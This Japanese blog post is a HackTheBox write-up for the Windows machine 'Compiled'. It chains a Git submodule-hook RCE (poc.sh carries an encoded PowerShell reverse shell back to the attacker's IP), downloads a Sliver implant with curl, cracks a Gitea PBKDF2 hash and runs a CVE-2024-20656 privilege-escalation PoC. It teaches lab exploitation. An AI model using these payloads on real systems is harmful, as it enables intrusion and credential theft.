1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Compiled Writeup

Posted at

概要

HackTheBoxのリタイアマシンCompiledWriteupです。

難易度 : Medium
OS : Windows

Compiled.png

Enumeration

nmap

kali@Kali [11時34分34秒] [~/HTB/Compiled] 
-> % nmap --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- 10.10.11.26 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 11:34 JST
Nmap scan report for compiled.htb (10.10.11.26)
Host is up, received user-set (0.091s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE    REASON  VERSION
3000/tcp open  ppp?       syn-ack
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=33607557e5d3f90b; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=AFGRkw-kEuRfwBW4tuftBk0QU_w6MTczMTI5MTg1ODQ2MzA0NTAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 11 Nov 2024 02:24:18 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-arc-green">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Git</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=32822644cd3de54f; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=CJNIDRWeQ6zESubWCUZHQ5qo2486MTczMTI5MTg2NDgwOTQ3NzEwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 11 Nov 2024 02:24:24 GMT
|_    Content-Length: 0
5000/tcp open  upnp?      syn-ack
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Mon, 11 Nov 2024 02:24:18 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5234
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Compiled - Code Compiling Services</title>
|     <!-- Bootstrap CSS -->
|     <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
|     <!-- Custom CSS -->
|     <style>
|     your custom CSS here */
|     body {
|     font-family: 'Ubuntu Mono', monospace;
|     background-color: #272822;
|     color: #ddd;
|     .jumbotron {
|     background-color: #1e1e1e;
|     color: #fff;
|     padding: 100px 20px;
|     margin-bottom: 0;
|     .services {
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
5985/tcp open  http       syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open  pando-pub? syn-ack
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 450.21 seconds

httpポート 3000, 5000 が2つとWinRMが開いています。
ドメインは見つかりませんでしたが一応追加しておきます。

10.10.11.26	compiled.htb

web

5000ポートにアクセスしてみます。
C++, C#, .NETをコンパイルするのためのサイトみたいです。
ページ下部にgitのリポジトリURLを記入するフォームがあるので試しに適当なURLを入れてみます。

image-20240807185111626.png

どうやら送信されたURLのリポジトリをクローンするらしい

image-20240807192155766.png

もう一つのポート3000にアクセスするとGiteaのページが表示されました。

image-20240807192425711.png

アカウントを作成することができるので適当に作てみます。

image-20240807192935668.png

エクスプローラーを見てみると2つのリポジトリを見つけました。

image-20240807193044086.png

どうやらC++で記述された電卓とポート5000で動いていたWebサイトのリポジトリみたいです。
Calculatorの中を覗いてみると git version 2.45.0.windows.1 をインストールする必要があることが分かりました。

image-20241111120002173.png

git 2.45.0 に脆弱性がないか調べてみると以下の記事を見つけました。

image-20240807194648066.png

この脆弱性はGitのgit cloneコマンドに関連するリモートコード実行(RCE)の脆弱性です。この攻撃は、ターゲットが悪意のあるリポジトリを再帰的にクローンした場合に発生し、その結果、サブモジュールに含まれるフックが実行されます。この脆弱性は、Gitがリポジトリサブモジュール内のシンボリックリンクを処理する際に発生します。

Exploit

記事で説明されているエクスプロイトの詳細を見てみると、アクセス可能なリポジトリが 2 つと、それらのリポジトリの 1 つを再帰的にクローンする必要があることがわかります。
Giteaのアカウントを作成し、リポジトリを2つ作成します。

image-20241118214756197.png

次にリポジトリの設定を行います。

git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main

ステージングリポジトリの設定

作成したリポジトリをクローンしてディレクトリyとサブディレクトリ y/hooks/ を作成します。

git clone http://compiled.htb:3000/test/StagingRepository.git

y/hooks/ 内に、次の内容の post-checkout ファイルを作成します

ペイロードは Reverse Shell Generator を使用します。

#!bin/sh.exe
*PowerShellリバースシェル*

post-checkoutファイルに実行権限を与えます。

chmod +x y/hooks/post-checkout

権限を与えたらリモートリポジトリにプッシュします。

git add y/hooks/post-checkout
git commit -m "post-checkout"
git push

実行リポジトリの設定

Giteaに作成したもう一つのリポジトリをクローンしてステージングリポジトリをサブモジュールとして追加します。

git clone http://compiled.htb:3000/test/ExecutingRepository.git
git submodule add --name x/y "http://compiled.htb:3000/test/StagingRepository.git" A/modules/x

変更をコミットします。

git commit -m "add-submodule"

リポジトリ内に .git を指すシンボリックリンクを作成し、そのシンボリックリンクをGitのインデックスにつかしてコミットします。

printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"

変更をプッシュする。

git push

これで準備が完了しました。
以下のコードは一連のコードをまとめたPoCになります。

poc.sh
#!/bin/bash

git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main

git clone http://compiled.htb:3000/test/StagingRepository.git
cd StagingRepository
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA3ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..

git clone http://compiled.htb:3000/test/ExecutingRepository.git
cd ExecutingRepository
git submodule add --name x/y "http://compiled.htb:3000/test/StagingRepository.git" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push

あとはリスナーを起動してExecutingRepositoryのリポジトリのURLをポート5000で動作しているフォームに送信するだけ

image-20241118221044574.png

少し待つと、応答が得られ、ユーザー Richardとしてシェルを取得することができました

image-20241214001852560.png

水平展開

C:\Users フォルダ内に Emily というユーザーがいることが分かりました。まず Emily に横移動する必要がありそうです。

image-20240809131136182.png

ここからはSliver C2を使っていきます。

Sliverのセットアップ

image-20241214001934048.png

サーバー起動して、インプラントを作成します。

generate --mtls 10.10.16.34 --save . --os windows

インプラントをターゲットマシンにアップロードします。

curl 10.10.16.34/CONTINUOUS_WAMPUM.exe -o CONTINUOUS_WAMPUM.exe

image-20241214002105492.png

アップロードが完了するとSliverでサーバーを起動して、インプラントを実行するとシェルを操作できるようになります。

image-20241214002209179.png

これで楽にファイルの送受信をできるようになりました。

PBKDF2のCrack

Giteaがインストールされていることが分かっているのでフォルダ内を調べると gitea.db というデータベースファイルを見つけた。

image-20241214002256277.png

gitea.db をダウンロードします。

image-20241214002331735.png

ファイルを調べると sqlite3のデータベースファイルであることが分かります。

image-20240809131548360.png

DB Browserでデータベースファイルを開いてみると、テーブルが大量に見つかり、その中に user というテーブルを見つけました。

image-20241118223655199.png

userテーブルを見てみるとユーザーのパスワードハッシュがみつかりました。
emilyのパスワードハッシュがあるのでこれを解析します。

image-20241118223846014.png

テーブルには passwod_hash_algo というカラムがあり、pbkdf2 というアルゴリズムでハッシュしているみたいです。

image-20241118224357288.png

データに pbkdf2\$50000$50 とあります。これは以下のように分割できます

pbkdf2
50000
50

pbkdf2 : パスワードから暗号化キーを生成するためのアルゴリズムでSHA-256やSHA-512などが使用される。
50000 : 反復回数。この場合、パスワードは50000回の反復を経てハッシュ化される。
50 : 生成されるキーの長さ(バイト単位)この場合50バイトのハッシュキーを生成される。

つまり、PBKDF2アルゴリズムを使用して、50,000回の反復処理を行い、50バイトの長さの鍵を生成することを意味しています。hashcatでは -m 10900 でクラックできます。

hashcatを使用するには以下のフォーマットにしてあげる必要があります。

sha256:<反復回数>:<base64_salt>:<base64_passwd>

データベースのemilyの passwd , salt カラムの値をbase64でエンコードします。

# salt
echo "227d873cca89103cd83a976bdac52486" | xxd -r -p | base64
# passwd
echo "97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16" | xxd -r -p | base64

エンコード結果をフォーマット通りに入力すると以下のようになります。

sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=

入力できたらhashcatを走らせます。

hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

解析が成功し、パスワードが 12345678 であることがわかりました。

image-20241118235540653.png

user.txt

このパスワードでRunasCsを使用して emily としてインプラント実行することでemilyのセッションをつくります。

まず、RunasCs.exeをアップロードします。

image-20241214101604401.png

アップロードができたら以下のコマンドを実行します。このとき絶対パスでインプラントを指定する必要があります。

./RunasCs.exe emily 12345678 C:\temp\CONTINUOUS_WAMPUM.exe

image-20241214101437241.png

sliver側で応答が得られ、emilyのセッションを作ることができました。

image-20241214101352815.png

user.txtを取得しました。つづいてAdministratorを目指します。

image-20241214003055425.png

特権昇格

Documentsフォルダに Visual Studio 2019 のフォルダがあります。

image-20241214003128835.png

CVE-2024-20656

Visual Studio 2019 に関する Local Privilege Escalation がないか調べてみたところ以下の記事を発見しました。

この脆弱性は VSStandardCollectorService150 が診断データの収集プロセス中にファイル権限の処理が不適切であることに起因しています。

VSStandardCollectorService150とは

Microsoft Visual Studioの診断ツールの一部であり、パフォーマンスの分析やデバッグのための診断データを収集するサービスで、必要なシステムリソースにアクセスするためにデフォルトで NT AUTHORITY\SYSTEM で実行されます。

脆弱性の詳細

  1. 診断データを格納するディレクトリを作成する
  2. サービスの動作中、SetNamedSecurityInfoW 関数を使用してファイルの権限を変更するが、このディレクトリが正しく操作されていれば、他のファイルにリダイレクトすることが可能になる
  3. 攻撃者は指定されたディレクトリからファイルシステム内の他の場所にリンクを作成することができ、サービスがこのリンクを操作することで、意図しないファイルの権限を変更することができるようになる

Exploit

PoCがないか調べてみたところGitHubに以下のPoCを見つけました・

リポジトリをVisual Studioでクローンします。
ソースファイルの 4行目に VSDiagnostics.exe のパスを指定しているのでターゲットマシン上のパスと同じになるように変更します。

変更前

WCHAR cmd[] = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";

変更後

WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";

ソースファイルの187行目の C:\windows\system32\cmd.exe をリバースシェルペイロードに変更する

変更前

CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);

変更後

CopyFile(L"c:\\temp\\payload.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);

編集が完了したら構成を Releases でビルドし、ターゲットマシンにアップロードする

image-20240809170955104.png

新しいインプラント作成し、C:\tempにアップロードします。main.cppの187行目で指定したペイロードと同じ名前で作成します。

image-20241214104440610.png

アップロードができたらexecuteコマンドでPoCを実行します。

image-20241214100324007.png

SYSTEM権限のセッションを取得することができました。

root.txt

root.txtを取得して終了です。

image-20241214100428435.png

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?